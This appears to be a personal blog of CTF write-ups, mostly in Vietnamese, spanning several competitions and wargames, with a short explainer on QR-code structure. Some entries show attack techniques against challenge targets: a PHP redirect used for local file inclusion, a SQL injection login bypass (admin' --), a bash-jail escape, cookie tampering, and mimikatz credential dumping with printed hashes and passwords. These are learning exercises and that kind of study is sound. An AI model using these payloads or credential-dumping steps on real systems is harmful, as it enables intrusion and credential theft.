Monday, April 1, 2019

[Writeup] Sunshine CTF 2019

Forensics

Golly

It's a code of Golly rle file, when I run a code given I just have a alphabet table:

Run it and nothing else, I read a rle file document at here. And I know a "$" represents the end of each row and an optional "!" represents the end of the pattern. So I just copy the paragraph after !$$$$ and I got

Flag: sun{th1s_w0nt_last}

Castles

Open the file in HXD I saw something like a hint:

Hey! Mario said something about a hidden key. Hesaid this: F2I and A1S, and that it was in two pieces

Because this is 001 file so I use FTK Imager to open it. And I found an JPG image of Mario:

Saturday, March 23, 2019

[Writeup] Insomnihack final 2019

myBrokenBash

For this challenge, the author give us something about stdout and when I try to send something the server will reply the string that I send, it's make me remember to a challenge in Ringzer0 CTF about bash shell jail escaping. It use file description to bypass stdout. Redirect from stdout to stdin by ls * 1>&0 I can see the flag file.


But I got the problem when I try to cat a flag, I only have a half flag



Maybe another file contain another half flag but the grep command only direct me to that file, so I think it have been filtered output. After a little help form my mates, I used base64 command and got a flag.


Flag: INS{c@t_th3_Flag_1t_s_n0t_so_ea4y}

EZGEN

I write this writeup base on my mate solution, I just help him found flag's direction because I found it at mybashbroken. This challenge have problem is LFI and he wrote a code on his vps to get flag. The code below is just a old version because he reset windows after competion end so I can't have best code for you.

index.html


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <title></title>
  <link rel="stylesheet" href="">
</head>
<body>
  <iframe width="800" height="800" src="http://<IP_YOUR_SERVER>/file.php?file=/var/www/html/webtopdf.php"></iframe>
</body>
</html>

file.php


1
2
3
4
<?php
$filename = $_GET['file'];
header("Location: file://$filename");
?>

The flag saved at /flag
(This is my first test, correct is /flag not flag)
And I got flag


Monday, March 11, 2019

[Writeup] Pragyan CTF - Forensics

Welcome

We have a jpg file, I used HXD and see a zip file in it, then I used binwalk to get the zip file.


1
2
3
4
5
6
7
$ binwalk welcome.jpeg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
10600         0x2968          Zip archive data, at least v2.0 to extract, uncompressed size: 9886, name: d.zip
20483         0x5003          End of Zip archive

And what I got? One secret.bmp file and one zip file contain the flag but protected by password. Dig the bitmap file I saw a base64 strings is: dGhlIHBhc3N3b3JkIGlzOiBoMzExMF90aDNyMyE==
Decode and I got the password is: h3110_th3r3!
After have a.png I used stegsolve to check lsb and got the flag



Flag: pctf{st3gs0lv3_1s_u53ful}

Magic PNGs

The picture you_can't_see_me.png have wrong 2 point, first is the header, I changed the header

89 50 4E 47 2E 0A 2E 0A to 89 50 4E 47 0D 0A 1A 0A

then I look for chunk: 6, the iidat should be IDAT




fix it and I got the image:



And the password for zip file is md5(h4CK3RM4n)

Flag: pctf{y0u_s33_m33_n0w!}

Tuesday, March 5, 2019

[Writeup] BSidesSF 2019 CTF

Trivia 1:

Search nguyên dòng chữ "My voice is my ________. Verify me." lên google mình thấy ngay ở kết quả tìm thấy đầu tiên: My voice is my passport

Flag: passport.

Forensics

table-tennis

Sử dụng wireshark, mình thấy có khá nhiều certificate, tuy nhiên nhưng chứng chỉ này không làm được gì cả. Và số lượng gói tin cũng khá nhiều nên mình vào Statistics -> Conversations để xem các kết nối.


Sau khi filter các kết nối của mạng 172.217.5.100 và 172.217.0.36 mình thấy rằng đó là các gói tin ICMP, request và reply data có đều có chứa mã base64, vì không rành về thư viện scappy lắm và một phần là chuỗi cũng khá ngắn nên mình quyết định là làm bằng tay.


Và chỉ sau chừng 5 phút mình đã có được đoạn base64 hoàn chỉnh:


Q1RGe0p1c3RBMHV0UDFuUzBuZ0FiZ1Awbmd9

Flag: CTF{JustA0utP1nS0ngAbgP0ng}

goodlusk1

Ban tổ chức cho mình một file img nên mình dùng Autospy để mở. Bên trong chứa một file LUKS và không có gì khác nên mình extract file đó ra. Google cho mình biết đó là file ổ đĩa đã bị mã hóa của hệ điều hành Linux nên mình coppy vào máy ảo Linux để thực hiện.


$ sudo cryptsetup open --type luks b.luks test

Và dĩ nhiên vì là file đã mã hóa nên mình cần 1 password. File ảnh kèm theo cho chúng ta gợi ý về password và sau khi search tung google và nhìn thật kỹ vào bức anh, mình đã tìm ra đó là EFF passphrase. Để so khớp với các số đã cho mình dùng link này để có được password. Password là


wages upturned flogging rinse landmass number

Sau khi có được password mount ỗ đĩa và mình có được flag.

Flag: CTF{Look_Under_Keyboards_4_Secrets}

Wednesday, February 27, 2019

[Writeup] OverTheWire - Bandit

Level 1:

Thử thách này sau khi kết nối đến server dùng lệnh ls, chúng ta thấy một file readme cat file đó chúng ta có được password cho level tiếp theo.

Password: boJ9jbbUNNfktd78OOpsqOltutMc3MY1

Level 2:

Dùng lệnh ls -lia kiểm tra, chúng ta thấy có 1 file -, vì là special character nên khi dùng lệnh cat - chúng ta không thể đọc được. Để bypass chúng ta dùng cat ./- 

Password: CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9

Level 3:

Chúng ta cần file cat file spaces in this filename tuy nhiên vì trong tên file có dấu cách nếu chúng ta chỉ đơn thuần dùng lệnh cat spaces in this filename thì sẽ sai vì câu lệnh này tương đương với cat 4 file: spaces, in, this, filename. Thay vào đó ta cần thêm dấu \ vào cuối kết thúc mối từ hoặc đơn giản hơn là dùng phím tab ta sẽ có lệnh hoàn chỉnh: cat spaces\ in\ this\ filename

Password: UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK

Level 4:

Vẫn tiếp tục dùng lệnh ls -lia mình thấy có file .hidden, cat .hidden và chúng ta có được password truy cập level 5:

Password: pIwrPrtPN36QITSp3EQaw936yaFoFgAB

Level 5:

Chúng ta có 10 file cả thẩy, thì mình nghĩ cat lần lượt từng file sẽ ra được password cho level 6, tuy nhiên có một cách nhanh hơn đó là dùng lệnh file để xem file nào đọc được. Thử file00 với lệnh file ./-file00 mình nhận được kết quả là file data, đối với tất cả các file mình dùng lệnh: file ./* dễ dàng nhìn thấy file07 là file chứa chuỗi ascii có thể đọc được. cat ./-file07 mình có được password.

Password: koReBOKuIDDepwhWk7jZC0RTdopnAYKh

Level 6:

Bài này trong thư mục inhere có rất nhiều file và folder và rất nhiều file dạng ascii nên mình không biết được file nào là file cần tìm. Tuy nhiên để ý description của bài này thì chúng ta có gợi ý là file có thể đọc được size là 1033 byte và không thể thực thi. Mình thử tìm xem có bao nhiêu file có kích thước là 1033 byte với lệnh find -size 1033c  (chữ c trong find là dùng cho đơn vị byte) thì chỉ có đúng một file ở đường dẫn thỏa điều kiện là maybehere07/.file2

Password: DXjZPULLxYr17uwoI01bNLQbtFemEgo7

Level 7:

Tương tự level 6 mình dùng lệnh find và thêm các hint ở phần description, mình out ra cây thư mục với lệnh cd../../ sau đó kiếm file bằng lệnh find -size 33c -user bandit7 -group bandit6 , tuy nhiên thì lúc đầu mình bị stuck vì nhìn chỉ toàn thấy permision denied, chỉ khi làm lại một lần nữa và bình tĩnh hơn mình mới thấy file ./var/lib/dpkg/info/bandit7.password là không bị permision denied, cat file và lấy flag cho bài sau thôi.

Password: HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs

Level 8:

Ở phần description cho mình biết cần phải lấy mật khẩu ở bên cạnh từ millionth. Lúc đầu mình cũng không hiểu lắm nhưng thử dùng lệnh strings data.txt thì mình mới hiểu. File chia có 2 cột vì vậy mình chỉ cần kiếm được dòng có chứa từ millionth thì sẽ có được password cho level sau, sử dụng strings và grep strings data.txt | grep millionth mình có được password.

Password: cvX2JJa4CFALtqS87jk27qwqGhBM9plV

Saturday, December 15, 2018

[Writeup] Mates SS3 Round 2

Misc

Round 2 Sanity Check

Theo miêu tả của đề bài, tác giả nhấn mạnh vào chữ rotate, nên mình google với từ khóa rotate decrypt và truy cập trang http://rumkin.com/tools/cipher/rotate.php sau khi thử với Box width bằng 6 thì mình có được flag

Flag: matesctf{s4n1ty_ch3ck}

Forensics

Chúng ta có 2 file, một file dump và 1 file Login Data của Chrome. Btc yều cầu nhập mật khẩu của facebook -> flag là password của account được lưu trong file dump. Sau khi dùng volatility không thành công mình để ý đến header thì nó là file minidump mà dạng file này thì dùng mimikatz là best. Bài này cũng hên là trong giải OtterCTF vừa rồi ngoài cách mình viết trong writeup thì có cách khác là dùng mimikatz như plugin của volatility nên mình có tìm hiểu.

Để analyze file thì mình load file và xem thử password:


mimikatz # sekurlsa::minidump dump.dmp
Switch to MINIDUMP : 'dump.dmp'

mimikatz # sekurlsa::logonpasswords
Opening : 'dump.dmp' file for minidump...

Authentication Id : 0 ; 370922 (00000000:0005a8ea)
Session           : Interactive from 1
User Name         : Admin
Domain            : TERMINALATOR
Logon Server      : TERMINALATOR
Logon Time        : 12/14/2018 11:35:09 AM
SID               : S-1-5-21-1143486773-2803761100-3357382775-1000
        msv :
         [00000003] Primary
         * Username : Admin
         * Domain   : TERMINALATOR
         * NTLM     : 7f59db8bb7564b0774aae7ccb7ca594b
         * SHA1     : caa5c83a1f28c9e51aeb5727adea95c4fd2f5dfa
         [00010000] CredentialKeys
         * NTLM     : 7f59db8bb7564b0774aae7ccb7ca594b
         * SHA1     : caa5c83a1f28c9e51aeb5727adea95c4fd2f5dfa
        tspkg :
        wdigest :
         * Username : Admin
         * Domain   : TERMINALATOR
         * Password : KeepGoingYouAreOnTheRightTrack<3

Ok vậy là mình đúng, tuy nhiên thì mình lại fail ở bước này vì mình cứ nghĩ config một máy ảo làm sao cho đúng password và username để unblob được file database. Sau mấy tiếng search hơn chục page google và stackoverflow, cuối cùng mình mới chắc chắn rằng chỉ có thể decrypt trên chính máy tạo ra file database.

Wednesday, December 12, 2018

[Writeup] Otter CTF 2018 - Memory forensics

1 - What the password?

Vừa đọc tên đề bài mình liền nghĩ đến một bài trước đây từng làm trên Root-me. Với yêu cầu này mình cần phải dump được 2 file SYSTEM và SAM. Tuy nhiên sau khi làm cách này mình không thể decrypt đươc đoạn hash nên đã phải dừng và làm những câu khác. Sau đó khi làm lại thì mình kỹ hơn các plugin của Volatility thì phát hiện một plugin rất hay đó là lspdump. Nhưng trước hết thì vẫn phải dùng plugin quen thuộc imageinfo để có được profile đã.


$ volatility -f OtterCTF.vmem imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/home/binh/Desktop/CTF/otter/OtterCTF.vmem)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002c430a0L
          Number of Processors : 2
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002c44d00L
                KPCR for CPU 1 : 0xfffff880009ef000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2018-08-04 19:34:22 UTC+0000
     Image local date and time : 2018-08-04 22:34:22 +0300

Như vậy là file vmem này dùng Win7. Tiếp đó dùng lsadump để có password của Rick.


$ volatility -f OtterCTF.vmem --profile=Win7SP1x64 lsadump
Volatility Foundation Volatility Framework 2.6
DefaultPassword
0x00000000  28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   (...............
0x00000010  4d 00 6f 00 72 00 74 00 79 00 49 00 73 00 52 00   M.o.r.t.y.I.s.R.
0x00000020  65 00 61 00 6c 00 6c 00 79 00 41 00 6e 00 4f 00   e.a.l.l.y.A.n.O.
0x00000030  74 00 74 00 65 00 72 00 00 00 00 00 00 00 00 00   t.t.e.r.........

DPAPI_SYSTEM
0x00000000  2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ,...............
0x00000010  01 00 00 00 36 9b ba a9 55 e1 92 82 09 e0 63 4c   ....6...U.....cL
0x00000020  20 74 63 14 9e d8 a0 4b 45 87 5a e4 bc f2 77 a5   .tc....KE.Z...w.
0x00000030  25 3f 47 12 0b e5 4d a5 c8 35 cf dc 00 00 00 00   %?G...M..5......

flag: CTF{MortyIsReallyAnOtter}

2 - General Info

Bài này yêu cầu tìm tên máy tính và địa chỉ IP. Về địa chỉ IP thì mình khá chắc là địa chỉ private chứ không phải là public. Sau khi dùng netscan thì mình càng tự tin hơn.

$ volatility -f OtterCTF.vmem --profile=Win7SP1x64 netscan
Volatility Foundation Volatility Framework 2.6

Offset(P)          Proto    Local Address                  Foreign Address      State            Pid      Owner          Created
0x7d60f010         UDPv4    0.0.0.0:1900                   *:*                                   2836     BitTorrent.exe 2018-08-04 19:27:17 UTC+0000
0x7d62b3f0         UDPv4    192.168.202.131:6771           *:*                                   2836     BitTorrent.exe 2018-08-04 19:27:22 UTC+0000
0x7d62f4c0         UDPv4    127.0.0.1:62307                *:*                                   2836     BitTorrent.exe 2018-08-04 19:27:17 UTC+0000
0x7d62f920         UDPv4    192.168.202.131:62306          *:*                                   2836     BitTorrent.exe 2018-08-04 19:27:17 UTC+0000
0x7d6424c0         UDPv4    0.0.0.0:50762                  *:*                                   4076     chrome.exe     2018-08-04 19:33:37 UTC+0000
0x7d6b4250         UDPv6    ::1:1900                       *:*                                   164      svchost.exe    2018-08-04 19:28:42 UTC+0000
0x7d6e3230         UDPv4    127.0.0.1:6771                 *:*                                   2836     BitTorrent.exe 2018-08-04 19:27:22 UTC+0000
0x7d6ed650         UDPv4    0.0.0.0:5355                   *:*                                   620      svchost.exe    2018-08-04 19:34:22 UTC+0000
0x7d71c8a0         UDPv4    0.0.0.0:0                      *:*                                   868      svchost.exe    2018-08-04 19:34:22 UTC+0000
0x7d71c8a0         UDPv6    :::0                           *:*                                   868      svchost.exe    2018-08-04 19:34:22 UTC+0000
0x7d74a390         UDPv4    127.0.0.1:52847                *:*                                   2624     bittorrentie.e 2018-08-04 19:27:24 UTC+0000
0x7d7602c0         UDPv4    127.0.0.1:52846                *:*                                   2308     bittorrentie.e 2018-08-04 19:27:24 UTC+0000
0x7d787010         UDPv4    0.0.0.0:65452                  *:*                                   4076     chrome.exe     2018-08-04 19:33:42 UTC+0000
0x7d789b50         UDPv4    0.0.0.0:50523                  *:*                                   620      svchost.exe    2018-08-04 19:34:22 UTC+0000
0x7d789b50         UDPv6    :::50523                       *:*                                   620      svchost.exe    2018-08-04 19:34:22 UTC+0000
0x7d92a230         UDPv4    0.0.0.0:0                      *:*                                   868      svchost.exe    2018-08-04 19:34:22 UTC+0000
0x7d92a230         UDPv6    :::0                           *:*                                   868      svchost.exe    2018-08-04 19:34:22 UTC+0000
0x7d9e8b50         UDPv4    0.0.0.0:20830                  *:*                                   2836     BitTorrent.exe 2018-08-04 19:27:15 UTC+0000
0x7d9f4560         UDPv4    0.0.0.0:0                      *:*                                   3856     WebCompanion.e 2018-08-04 19:34:22 UTC+0000
0x7d9f8cb0         UDPv4    0.0.0.0:20830                  *:*                                   2836     BitTorrent.exe 2018-08-04 19:27:15 UTC+0000
0x7d9f8cb0         UDPv6    :::20830                       *:*                                   2836     BitTorrent.exe 2018-08-04 19:27:15 UTC+0000
0x7d8bb390         TCPv4    0.0.0.0:9008                   0.0.0.0:0            LISTENING        4        System         
0x7d8bb390         TCPv6    :::9008                        :::0                 LISTENING        4        System         
0x7d9a9240         TCPv4    0.0.0.0:8733                   0.0.0.0:0            LISTENING        4        System         
0x7d9a9240         TCPv6    :::8733                        :::0                 LISTENING        4        System         
0x7d9e19e0         TCPv4    0.0.0.0:20830                  0.0.0.0:0            LISTENING        2836     BitTorrent.exe 
0x7d9e19e0         TCPv6    :::20830                       :::0                 LISTENING        2836     BitTorrent.exe 
0x7d9e1c90         TCPv4    0.0.0.0:20830                  0.0.0.0:0            LISTENING        2836     BitTorrent.exe 
0x7d42ba90         TCPv4    -:0                            56.219.196.26:0      CLOSED           2836     BitTorrent.exe 
0x7d6124d0         TCPv4    192.168.202.131:49530          77.102.199.102:7575  CLOSED           708      LunarMS.exe    
0x7d62d690         TCPv4    192.168.202.131:49229          169.1.143.215:8999   CLOSED           2836     BitTorrent.exe 
0x7d634350         TCPv6    -:0                            38db:c41a:80fa:ffff:38db:c41a:80fa:ffff:0 CLOSED           2836     BitTorrent.exe 

Phần scan cho ra khá nhiều process tuy nhiên mình chỉ upload đoạn đầu vì nó đủ cho ta biết đáp án của câu này còn phần mình tô xanh được dùng cho câu 3.

Sunday, December 2, 2018

Tìm hiểu mã QR



QR là viết tắt của quick response, là một loại mã vạch đặc biệt có thể mã hóa thông tin như số, chữ cái, và kí tự kanji được tạo bởi công ty Denso-Wave là một công ty con của tập đoàn Toyota.

Hiện nay có rất nhiều loại QR code như:
- QR code model 1 & 2: loại chúng ta thường thấy.
- Micro QR code: một loại QR code nhỏ.
- SQRC, iQR code, frame QR code,...

Trong bài viết này mình sẽ chỉ tập trung vào QR code model 2 vì từ tháng 9 năm 2006 ISO ISO/IEC 18004 cũng đã loại việc đọc mã QR code model 1 (đoạn này mình không biết nói sao cho đúng ý nhất nhưng vì sự vượt trội của QR model 2 nên phải loại model 1 để có tính thống nhất ấy).

QR model 1

Mã QR code gốc có thể mã hóa 1167 số và có tối đa 14 phiên bản (73x73)

QR model 2

Bản cải thiện của model 1 có thể mã hóa 7089 số và có tối đa 40 phiên bản (177x177).

Mã QR luôn có hình vuông và được phân chia làm 40 phiên bản dựa vào kích thước của chúng.

Phiên bản 1 sẽ có kích thước là 21x21.
Phiên bản 2 sẽ có kích thước là 25x25.
Phiên bản 3 sẽ có kích thước là 29x29.
....
Và cứ mỗi phiên bản sau sẽ lớn hơn phiên bản trước 4 đơn vị và đến phiên bản tối đa là 40 với kích thước là 177x177.

Kích thước của mã QR được xác định bởi công thức:

(V-1)*4+21
với V là phiên bản mã QR

Vây với phiên bản 30 ta sẽ có kích thước là 137x137.

Về kích thước:
Chắc hẳn các bạn sẽ thắc mắc tại sao có những ảnh phiên bản khác nhau nhưng lại cùng kích thước. Lý do là kích thước đó phụ thuộc vào bạn quy định bao nhiêu pixel cho một hàng, cột. Nếu bạn quy định 1 pixel là 1 hàng và 1 cột thì kích thước của 2 ảnh chắc chắn sẽ khác nhau. Vì vậy thay vì quyết định dựa trên số pixel của bức ảnh hãy dựa vào số hàng và cột của QR code đó. Trong bài viết này mình dựa vào hàng và cột như vậy sẽ dễ phân biệt và thuận tiện hơn trong bài viết.

Về dung lượng:
Dung lượng của mã QR phụ thuộc vào cấp độ sửa lỗi và phiên bản. Có bốn chế độ dữ liệu bao gồm: số, chữ và số, nhị phân, chữ kanji. Và bốn chế độ sửa lỗi: L, M, Q, H (mình sẽ nói kỹ hơn ở dưới). Các bạn có thể truy cập trang này đễ xem dung lượng tối đa mà mã QR có thể chứa dựa trên cấp sửa lỗi.

Về màu sắc mã:
QR luôn có hai màu là đen và trắng trong đó đen sẽ đại diện cho bit 1 còn trắng đại diện cho bit 0.

Cấu trúc của mã QR được thể hiện qua hình sau:



Vùng finder

Vùng finder là 3 ô vuông đen lớn ở ba góc trái trên, phải trên và trái dưới  bất kể phiên bản mã QR nào. Vùng này giúp cho thiết bị đọc mã xác định đươc ảnh QR và thực hiện việc đọc dữ liệu. Chính nhờ có vùng này mà khi chúng ta quay ảnh QR ngang, chéo thì điên thoại chúng ta vẫn có thể đọc được.
Mỗi ô vuông của vùng finder luôn có viền màu đen bên ngoài kích thước là 7 bên trong là một hình vuông trắng kích thước 5 và ở giữa là ô vuông đen 3x3.



Để xác định ví trị đặt 3 ô finder ta có công thức tính như sau:
Góc trái trên luôn luôn đặt tại vị trí (0,0)
Góc trái dưới đặt tại ví trí (x,0)
Góc phải trên đăt tại ví trí(0,y)
Trong đó x,y được tính bằng công thức:

(V-1)*4+14

với V là phiên bản mã QR.
Phiên bản 1

Vùng separators
Là vùng trắng bao quanh vùng finder giúp tách vùng finder và phần còn lại của mã QR.

Sunday, November 25, 2018

[Writeup] TuCTF 2018

Reverse

Danger Zone:
Đề bài cho ta một file pyc và khi thực thi ta được một đoạn string: =YR2XYRGQJ6KWZENQZXGTQFGZ3XCXZUM33UOEIBJ. Trông có vẻ giống chuỗi base64 bị đảo ngược, nhưng khi decode thì mình lại kí tự không đọc được nên mình thử reverse lại source code xem sao. Dùng Easy Python Decompiler mình có được source code của chương trình.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Embedded file name: ./dangerzone.py
import base64

def reverse(s):
    return s[::-1]


def b32decode(s):
    return base64.b32decode(s)


def reversePigLatin(s):
    return s[-1] + s[:-1]


def rot13(s):
    return s.decode('rot13')


def main():
    print 'Something Something Danger Zone'
    return '=YR2XYRGQJ6KWZENQZXGTQFGZ3XCXZUM33UOEIBJ'


if __name__ == '__main__':
    s = main()
    print s

Đọc source thì chúng ta đã có hết các hàm decode, nếu vậy thì chúng ta chỉ cần chỉnh sửa lại hàm main một tí thì sẽ có flag.


1
2
3
4
5
6
if __name__ == '__main__':
    s = main()
    s=reverse(s)
    s=b32decode(s)
    s=reversePigLatin(s)
    print s
Flag: TUCTF{r3d_l1n3_0v3rl04d}

yeahright:

Mở file binary bằng IDA ta có thể dễ dàng nhìn thấy chương trình sẽ so sánh chuỗi ta nhập vào với biến pass, nếu đúng sẽ in ra flag còn nếu sai sẽ in ra yeahright.

Tìm biến pass trong IDA mình nhanh chóng tìm được giá trị của nó:


Pass là: 7h3_m057_53cr37357_p455w0rd_y0u_3v3r_54w
Ok giờ chỉ việc gửi lên server và lấy flag thôi.
Flag: TUCTF{n07_my_fl46_n07_my_pr0bl3m}

shoop:

Lại là yêu cầu nhập password, mình tiếp tục mở file binary bằng IDA, tuy nhiên bài này khó hơn bài yeahright vì password đã bị biến đổi:


Vòng for đầu tiên có nhiệm vụ đưa chuỗi ta nhập vào một mảng. Vòng for thứ hai biến đổi chuổi ta nhập vào bằng cách dời lui kí tự  đi 5 đơn vị (xét theo bảng ascii) ví dụ: 'A' -> '<', 'B' -> '=',...
Vòng for thứ ba đảo vị trí các kí tự trong chuổi s sau khi đã thực hiện bước 2.

Wednesday, October 17, 2018

[Writeup] PicoCTF2018 - Web

Inspect Me - Points: 125 

- Bài này vào view source ta sẽ có 1/3 flag sau đó click vào mycss.css ta sẽ có được nửa flag còn lại.

Flag: picoCTF{ur_4_real_1nspect0r_g4dget_b4887011}

Client Side is Still Bad - Points: 150

- View source ta sẽ có được hàm check pass và thấy rằng flag đã bị tách ra làm nhiều hàm so sánh và bị viết ngược từ dưới lên. Copy ra và xếp lại cho đúng thì mình có được flag.

Flag: picoCTF{client_is_bad_9117e9}

Logon - Points: 150

- Dùng burpsuite khi đăng nhập ta sẽ thấy cookie có biến Admin = False vậy ta sửa lại bằng True thì sẽ có flag

Flag: picoCTF{l0g1ns_ar3nt_r34l_aaaaa17a}

Irish Name Repo - Points: 200

- Một bài sql injection cơ bản. Để login vào admin, mình dùng username đơn giản nhất là: admin' --và có được flag.

Flag: picoCTF{con4n_r3411y_1snt_1r1sh_c0d93e2f}

Mr. Robots - Points: 200

- Robots? Ý đề bài là file robots.txt? Mình thử truy cập: http://2018shell2.picoctf.com:60945/robots.txt và có được thông tin về file: /65c0c.html sau khi truy cập http://2018shell2.picoctf.com:60945/65c0c.html mình có được flag.

Flag: picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_65c0c}


No Login - Points: 200

- Câu này nếu dùng Burp để ý khi nhấn vào hàm Flag, ta sẽ có Cookie để trống và session là dòng not admin... thì ta chỉ cần xoá session và thêm admin vào sau cookie sẽ được flag.



Flag: picoCTF{n0l0g0n_n0_pr0bl3m_3184f702}

Secret Agent - Points: 200

- Bài này nếu ta bấm vào function Flag ta sẽ có thông báo You're not google! Và kèm theo agent của trình duyệt. Vậy làm sao để có thể là google? Set agent là google sao?

Monday, October 15, 2018

[Writeup] PicoCTF2018 - Forensics

Warmup 1 - Points: 50


- Extract file zip ta có được flag

Flag: piocCTF{welcome_to_forensics}

Warmup 2 - Points: 50 


- Dựa vào header của file ta phải đổi đuôi thành .jpeg thay vì png nhưng mà windows thì nó mở vẫn được không cần đuôi nên cứ thế mà múc :v

Flag: piocCTF{extensions_are_a_lie}

Desrouleaux - Points: 150



- Bài này chúng ta dựa vào file json của ban tổ chức cung cấp rồi trả lời những câu hỏi.

Câu 1: Địa chỉ IP nguồn nào phổ biến nhất?
 + Cái này mỗi acc mỗi khác các bạn cứ thống kê từng src Ip rồi dùng chức năng count trong notepad ++ đếm sau đó ghi lại.

Câu 2: Có bao nhiêu địa chỉ đích nhận gói tin từ địa chỉ nguồn 43.250.172.185?
 + Tương tự câu 1 count là ra

Câu 3: Số trung bình mà 1địa chỉ IP đích gửi file cùng với một chuỗi hash?
  + Đầu tiên ta phải xác định có bao nhiêu hash. Thì trong file json của mình, mình tổng hợp được có 7 cái như sau:

 + Sau đó đếm xem có bao nhiêu địa chỉ IP được 9:
 + Chia trung bình và lấy 2 chữ số ở hàng thập phân ta có 9 / 7 = 1.28

Flag: picoCTF{J4y_s0n_d3rUUUULo_b6cacd6c}

Reading Between the Eyes - Points: 150


Sử dụng Zsteg và ta sẽ có được flag



Flag: picoCTF{r34d1ng_b37w33n_7h3_by73s}

Recovering From the Snap - Points: 150


Ta được cung cấp một file disk vậy thì ta sẽ sử dụng AutoSpy để mở nó lên. Việc đầu tiên cho những bài này là mình sẽ vào mục Deleted Files để xem đầu tiên.

Monday, September 24, 2018

[Writeup] Ice CTF 2018 - Forensics

Modern Picasso:
Trong bài này chúng ta có một file gif và nhìn hình thì ta có thể đoán rằng nếu tất cả các frame cùng ghép lại thành một bức ảnh thì có thể có được một bức hình chứa gì đó như QR code chẳng hạn.


Vậy việc đầu tiên mình làm là extract hết tất cả các frame của ảnh gif này, mình dùng trang https://image.online-convert.com/convert-to-png để convert tất cả các frame trong ảnh gif sang png.

Tiếp theo mình sử dụng photoshop đẻ ghép tất cả các frame, nhưng nó khá mệt vì công đoạn chuyển đổi lọc nền trắng trong photoshop rất mất thời gian. Sau khi đọc thì mình biết được GIMP có hẳn một chức năng hỗ trợ người dùng xoá background đó là Color to Alpha. 

Khởi động GIMP ---> File ---> Open as Layer sau đó mở các frame đã extract. Sau đó click chọn từng ảnh và vào Colors ---> Color to Alpha


Sau khi xoá toàn bộ background màu trắng thành trong suốt mình có được flag:

*Tuy nhiên có một cách nhanh hơn đó là dùng imagemagick trên linux ta dùng lệnh:
convert picasso.gif -transparent white picasso_transparent.gif
để convert tất cả sang transparent rồi merge lại để ra flag

IceCTF{wow_fast}

Hard Shells:

Trong thử thách ta được một file zip (sử dụng lệnh file của linux)

Thursday, September 13, 2018

[Writeup] OverTheWire - Natas: Leve0 - level10

Hôm nay lướt lại vài bài CTF cũ chợt nhận ra mình đã để trang blog này mốc meo cũng đã 4 tháng rồi nên hôm nay mình kiếm cái gì đó để viết, để học,... Trang hôm nay mình muốn nhắm tới là overthewire.org, một trang hay và chứa rất nhiều kiến thức basic. SVATTT cũng cận kề, và mình cũng nhận ra không có đất cho những người làm Forensics như mình nữa mà mình cần phải tự try hard các mảng khác mà web, reverse, pwn là 3 mảng chính là 3 yếu tố quyết định thứ hạng...

Level0: Truy cập site đầu tiên với username và password đã được cho, dựa vào hint:

You can find the password for the next level on this page.

Ta có thể đoán được flag chắc nằm trong source code, ctrl+u ta có được password của level tiếp theo.

Password: gtVrDuiDfck831PqWsLEZy5gyDz1clto 

Level1: Bài này cũng giống như level0 nhưng không cho phép sử dụng chuột phải, trong khi đó mình lại dùng ctrl+u để xem source code nên cũng không đáng ngại. 😀

Password: ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi

Level2: Xem source code ta thấy rằng có tab img là tab hiển thị hình ảnh trong html nhưng lại không có ảnh nào hiển thị trong trang thử click vào nhưng không có gì ngoài một màu đen. Ta để ý đường dẫn là files/pixels.png vậy ta thử xoá pixels.png để truy cập thư mục files xem sao. Ta thấy ngay có 1 file là user.txt, click vào ta sẽ thấy 2 cột username password và có tài khoản của natas lv3.

Pasword: sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14

Level3: Xem source code có dòng chữ :

No more information leaks!! Not even Google will find it this time...

Dòng đó ý muốn nói đến file robots.txt vì file này là dạng file không cho search engine truy cập vào một hình ảnh, đường dẫn,... nào đó của trang web. Vậy thì ta thử mở file robots.txt lên xem sao. Ngay lập tức ta thấy thư mục s3cr3t. Truy cập vào thư mục này ta thấy có file users.txt. Click chọn ta có được username và password của level4.

Password: Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

Level4: Hmm, nhìn vào hint:

Access disallowed. You are visiting from "http://natas4.natas.labs.overthewire.org/" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/" 

Có nghĩa là ta phải visit từ http://natas5.natas.labs.overthewire.org/ Vậy làm sao ta có thể visit từ website đó. Sử dụng burpsuite mình thấy dòng referer của header, ok vậy thì sửa lại sao cho đúng yêu cầu là sẽ được thôi.

Password: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq